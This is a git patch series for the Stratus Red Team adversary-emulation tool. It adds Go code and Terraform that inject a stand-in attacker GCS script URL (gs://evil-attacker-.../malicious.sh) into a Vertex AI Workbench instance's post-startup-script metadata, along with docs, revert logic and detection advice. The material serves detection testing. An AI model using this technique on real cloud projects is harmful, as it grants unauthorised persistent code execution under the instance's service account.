@@ Note that some Stratus attack techniques may correspond to more than a single AT - [Impersonate GCP Service Accounts](./gcp.privilege-escalation.impersonate-service-accounts.md) + - [Inject a Malicious Startup Script into a Vertex AI Workbench Instance](./gcp.execution.modify-vertex-notebook-startup.md) + ## Defense Evasion diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md index eeabd9d19..07a91b3a9 100755 --- a/docs/attack-techniques/list.md +++ b/docs/attack-techniques/list.md @@ -102,4 +102,5 @@ This page contains the list of all Stratus Attack Techniques. | [Impersonate GCP Service Accounts](./GCP/gcp.privilege-escalation.impersonate-service-accounts.md) | [GCP](./GCP/index.md) | Privilege Escalation | | [Delete a GCP Log Sink](./GCP/gcp.defense-evasion.delete-logging-sink.md) | [GCP](./GCP/index.md) | Defense Evasion | | [Disable a GCP Log Sink](./GCP/gcp.defense-evasion.disable-logging-sink.md) | [GCP](./GCP/index.md) | Defense Evasion | +| [Inject a Malicious Startup Script into a Vertex AI Workbench Instance](./GCP/gcp.execution.modify-vertex-notebook-startup.md) | [GCP](./GCP/index.md) | Execution, Privilege Escalation | | [Reduce Log Retention Period on a Cloud Logging Sink Bucket](./GCP/gcp.defense-evasion.reduce-sink-log-retention.md) | [GCP](./GCP/index.md) | Defense Evasion | diff --git a/docs/attack-techniques/mitre-attack-coverage-matrices.md b/docs/attack-techniques/mitre-attack-coverage-matrices.md index ba4217835..d4e954f47 100644 --- a/docs/attack-techniques/mitre-attack-coverage-matrices.md +++ b/docs/attack-techniques/mitre-attack-coverage-matrices.md @@ -56,10 +56,10 @@ This provides coverage matrices of MITRE ATT&CK tactics and techniques currently Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementExfiltrationImpact Steal and Use the GCE Default Service Account Token from Outside Google CloudModify a GCE Instance Startup ScriptRegister SSH public key to instance metadataModify a GCE Instance Startup ScriptDelete a Cloud DNS Logging PolicyRetrieve a High Number of Secret Manager secretsRead GCE Instance Metadata via the Compute APIRegister SSH public key to instance metadataExfiltrate Compute Disk by sharing itCreate a GCE GPU Virtual Machine -Backdoor a GCP Service Account through its IAM PolicyCreate an Admin GCP Service AccountDisable Data Access Audit Logs for a GCP ServiceSteal and Use the GCE Default Service Account Token from Outside Google CloudEnumerate Permissions of a GCP Service AccountExfiltrate Compute Image by sharing itCreate GCE Instances in Multiple Zones +Inject a Malicious Startup Script into a Vertex AI Workbench InstanceBackdoor a GCP Service Account through its IAM PolicyCreate an Admin GCP Service AccountDisable Data Access Audit Logs for a GCP ServiceSteal and Use the GCE Default Service Account Token from Outside Google CloudEnumerate Permissions of a GCP Service AccountExfiltrate Compute Image by sharing itCreate GCE Instances in Multiple Zones Create an Admin GCP Service AccountCreate a GCP Service Account KeyAttempt to Remove a GCP Project from its OrganizationExfiltrate Compute Disk by sharing a snapshot Create a GCP Service Account KeyImpersonate GCP Service AccountsDisable VPC Flow Logs on a Subnet -Invite an External User to a GCP ProjectDelete a GCP Log Sink +Invite an External User to a GCP ProjectInject a Malicious Startup Script into a Vertex AI Workbench InstanceDelete a GCP Log Sink Disable a GCP Log Sink Reduce Log Retention Period on a Cloud Logging Sink Bucket diff --git a/docs/index.yaml b/docs/index.yaml index 2e363df7e..bdc978d6d 100644 --- a/docs/index.yaml +++ b/docs/index.yaml @@ -626,6 +626,14 @@ GCP: - Privilege Escalation platform: GCP isIdempotent: false + - id: gcp.execution.modify-vertex-notebook-startup + name: Inject a Malicious Startup Script into a Vertex AI Workbench Instance + isSlow: true + mitreAttackTactics: + - Execution + - Privilege Escalation + platform: GCP + isIdempotent: false Exfiltration: - id: gcp.exfiltration.share-compute-disk name: Exfiltrate Compute Disk by sharing it @@ -752,6 +760,14 @@ GCP: - Privilege Escalation platform: GCP isIdempotent: true + - id: gcp.execution.modify-vertex-notebook-startup + name: Inject a Malicious Startup Script into a Vertex AI Workbench Instance + isSlow: true + mitreAttackTactics: + - Execution + - Privilege Escalation + platform: GCP + isIdempotent: false Azure: Execution: - id: azure.execution.vm-custom-script-extension diff --git a/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go new file mode 100644 index 000000000..bb218402e --- /dev/null +++ b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go @@ -0,0 +1,194 @@ +package gcp + +import ( + "context" + "crypto/rand" + _ "embed" + "encoding/hex" + "fmt" + "log" + "maps" + "time" + + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" + notebooks "google.golang.org/api/notebooks/v2" +) + +//go:embed main.tf +var tf []byte + +func init() { + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: "gcp.execution.modify-vertex-notebook-startup", + FriendlyName: "Inject a Malicious Startup Script into a Vertex AI Workbench Instance", + Description: ` +Modifies a Vertex AI Workbench (user-managed notebook) instance to execute a +remote script on the next start by injecting a malicious URL into the instance's +post-startup-script metadata field. An attacker with +notebooks.instances.update permission can use this technique to +achieve persistent code execution inside the notebook environment, run under +the instance's service account identity. + +Warm-up: + +- Create a Vertex AI Workbench instance (e2-standard-2, us-central1-a) + +Note: This technique requires the Notebooks API (notebooks.googleapis.com) to be enabled in your GCP project. If it is not enabled, the warm-up will fail with a 403 error pointing to the API enablement page. + +Detonation: + +- Patch the Workbench instance's GCE setup metadata to set + post-startup-script to a fictitious attacker-controlled GCS URI + (gs://evil-attacker-<project-id>-<random>/malicious.sh) + +Revert: + +- Remove the post-startup-script metadata key from the instance + +References: + +- https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-notebooks-introduction +- https://cloud.google.com/vertex-ai/docs/workbench/reference/rest/v2/projects.locations.instances/patch +- https://sra.io/blog/privilege-escalation-in-aws-and-gcp-machine-learning-instances/ +- https://unit42.paloaltonetworks.com/privilege-escalation-llm-model-exfil-vertex-ai/ +`, + Detection: ` +Identify when a Vertex AI Workbench instance's metadata is modified by monitoring +for google.cloud.notebooks.v2.NotebookService.UpdateInstance events in +GCP Admin Activity audit logs. Alert when the post-startup-script or +startup-script metadata fields are added or changed to external URLs, +which may indicate an attempt to establish persistent code execution in the notebook +environment. +`, + Platform: stratus.GCP, + IsIdempotent: false, + IsSlow: true, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.Execution, mitreattack.PrivilegeEscalation}, + PrerequisitesTerraformCode: tf, + Detonate: detonate, + Revert: revert, + }) +} + +func newNotebooksService(ctx context.Context, providers stratus.CloudProviders) (*notebooks.Service, error) { + svc, err := notebooks.NewService(ctx, providers.GCP().Options()) + if err != nil { + return nil, fmt.Errorf("failed to create Notebooks client: %w", err) + } + return svc, nil +} + +func instancePath(projectId, location, instanceName string) string { + return fmt.Sprintf("projects/%s/locations/%s/instances/%s", projectId, location, instanceName) +} + +// waitForNotebooksOperation polls a Notebooks long-running operation until it +// completes or the maximum number of attempts is reached. +func waitForNotebooksOperation(ctx context.Context, svc *notebooks.Service, opName string) error { + const maxAttempts = 60 + const pollInterval = 10 * time.Second + + for attempt := range maxAttempts { + op, err := svc.Projects.Locations.Operations.Get(opName).Context(ctx).Do() + if err != nil { + return fmt.Errorf("failed to poll Notebooks operation %s: %w", opName, err) + } + if op.Done { + if op.Error != nil { + return fmt.Errorf("Notebooks operation %s failed: %s", opName, op.Error.Message) + } + return nil + } + log.Printf("Waiting for Notebooks patch operation to complete (attempt %d/%d)\n", attempt+1, maxAttempts) + time.Sleep(pollInterval) + } + return fmt.Errorf("Notebooks operation %s did not complete after %d attempts", opName, maxAttempts) +} + +func setPostStartupScript(ctx context.Context, svc *notebooks.Service, projectId, location, instanceName, scriptURL string) error { + path := instancePath(projectId, location, instanceName) + + // Fetch the current instance to preserve any existing GCE setup fields. + instance, err := svc.Projects.Locations.Instances.Get(path).Context(ctx).Do() + if err != nil { + return fmt.Errorf("failed to get Workbench instance %s: %w", path, err) + } + + // Preserve existing metadata and inject / remove the post-startup-script key. + metadata := make(map[string]string) + if instance.GceSetup != nil && instance.GceSetup.Metadata != nil { + maps.Copy(metadata, instance.GceSetup.Metadata) + } + + if scriptURL == "" { + delete(metadata, "post-startup-script") + } else { + metadata["post-startup-script"] = scriptURL + } + + patchedGceSetup := ¬ebooks.GceSetup{ + Metadata: metadata, + } + + op, err := svc.Projects.Locations.Instances.Patch(path, ¬ebooks.Instance{ + GceSetup: patchedGceSetup, + }).UpdateMask("gceSetup.metadata").Context(ctx).Do() + if err != nil { + return fmt.Errorf("failed to patch Workbench instance %s: %w", path, err) + } + + return waitForNotebooksOperation(ctx, svc, op.Name) +} + +func detonate(params map[string]string, providers stratus.CloudProviders) error { + gcp := providers.GCP() + projectId := gcp.GetProjectId() + instanceName := params["instance_name"] + location := params["location"] + ctx := context.Background() + + svc, err := newNotebooksService(ctx, providers) + if err != nil { + return err + } + + // The post-startup-script field only accepts gs:// URIs — the script is fetched + // from GCS when the instance boots, so GCP does not validate the bucket exists at + // patch time. Using a fictitious attacker-controlled bucket simulates the attack. + // GCS bucket names are globally unique, so a random suffix is added to the project + // ID to prevent a third party from pre-registering the bucket name. + var nonce [4]byte + if _, err = rand.Read(nonce[:]); err != nil { + return fmt.Errorf("failed to generate random nonce: %w", err) + } + maliciousURL := fmt.Sprintf("gs://evil-attacker-%s-%s/malicious.sh", projectId, hex.EncodeToString(nonce[:])) + log.Printf("Injecting post-startup-script %s into Workbench instance %s\n", maliciousURL, instanceName) + if err = setPostStartupScript(ctx, svc, projectId, location, instanceName, maliciousURL); err != nil { + return err + } + + log.Printf("Successfully injected malicious startup script into Workbench instance %s — script will execute on next start\n", instanceName) + return nil +} + +func revert(params map[string]string, providers stratus.CloudProviders) error { + gcp := providers.GCP() + projectId := gcp.GetProjectId() + instanceName := params["instance_name"] + location := params["location"] + ctx := context.Background() + + svc, err := newNotebooksService(ctx, providers) + if err != nil { + return err + } + + log.Printf("Removing post-startup-script from Workbench instance %s\n", instanceName) + if err = setPostStartupScript(ctx, svc, projectId, location, instanceName, ""); err != nil { + return err + } + + log.Printf("Successfully removed malicious startup script from Workbench instance %s\n", instanceName) + return nil +} diff --git a/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.tf b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.tf new file mode 100644 index 000000000..7a1d53c2b --- /dev/null +++ b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.tf @@ -0,0 +1,56 @@ +terraform { + required_providers { + google = { + source = "hashicorp/google" + version = "~> 6.18.1" + } + random = { + source = "hashicorp/random" + version = "~> 3.3.2" + } + } +} + +locals { + resource_prefix = "stratus-red-team-mvns" # modify vertex notebook startup +} + +resource "random_string" "suffix" { + length = 8 + special = false + min_lower = 8 +} + +resource "google_compute_network" "vpc" { + name = "${local.resource_prefix}-vpc-${random_string.suffix.result}" + auto_create_subnetworks = true +} + +resource "google_workbench_instance" "notebook" { + name = "${local.resource_prefix}-${random_string.suffix.result}" + location = "us-central1-a" + + gce_setup { + machine_type = "e2-standard-2" + + boot_disk { + disk_size_gb = 150 + } + + network_interfaces { + network = google_compute_network.vpc.self_link + } + } +} + +output "instance_name" { + value = google_workbench_instance.notebook.name +} + +output "location" { + value = google_workbench_instance.notebook.location +} + +output "display" { + value = format("Vertex AI Workbench instance %s in %s ready", google_workbench_instance.notebook.name, google_workbench_instance.notebook.location) +} diff --git a/v2/internal/attacktechniques/main.go b/v2/internal/attacktechniques/main.go index b8b5d05fb..23b16719a 100644 --- a/v2/internal/attacktechniques/main.go +++ b/v2/internal/attacktechniques/main.go @@ -75,6 +75,7 @@ import ( _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/discovery/download-instance-metadata" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/discovery/enumerate-permissions" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-image" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-snapshot" From 147ae47f7c485ac909e2abefc5d0347a731a1754 Mon Sep 17 00:00:00 2001 From: Christophe Tafani-Dereeper Date: Thu, 30 Apr 2026 15:56:15 +0200 Subject: [PATCH 6/6] Fix staticcheck ST1005: lowercase error strings --- .../gcp/execution/modify-vertex-notebook-startup/main.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go index bb218402e..701067cc7 100644 --- a/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go +++ b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go @@ -96,14 +96,14 @@ func waitForNotebooksOperation(ctx context.Context, svc *notebooks.Service, opNa } if op.Done { if op.Error != nil { - return fmt.Errorf("Notebooks operation %s failed: %s", opName, op.Error.Message) + return fmt.Errorf("notebooks operation %s failed: %s", opName, op.Error.Message) } return nil } log.Printf("Waiting for Notebooks patch operation to complete (attempt %d/%d)\n", attempt+1, maxAttempts) time.Sleep(pollInterval) } - return fmt.Errorf("Notebooks operation %s did not complete after %d attempts", opName, maxAttempts) + return fmt.Errorf("notebooks operation %s did not complete after %d attempts", opName, maxAttempts) } func setPostStartupScript(ctx context.Context, svc *notebooks.Service, projectId, location, instanceName, scriptURL string) error {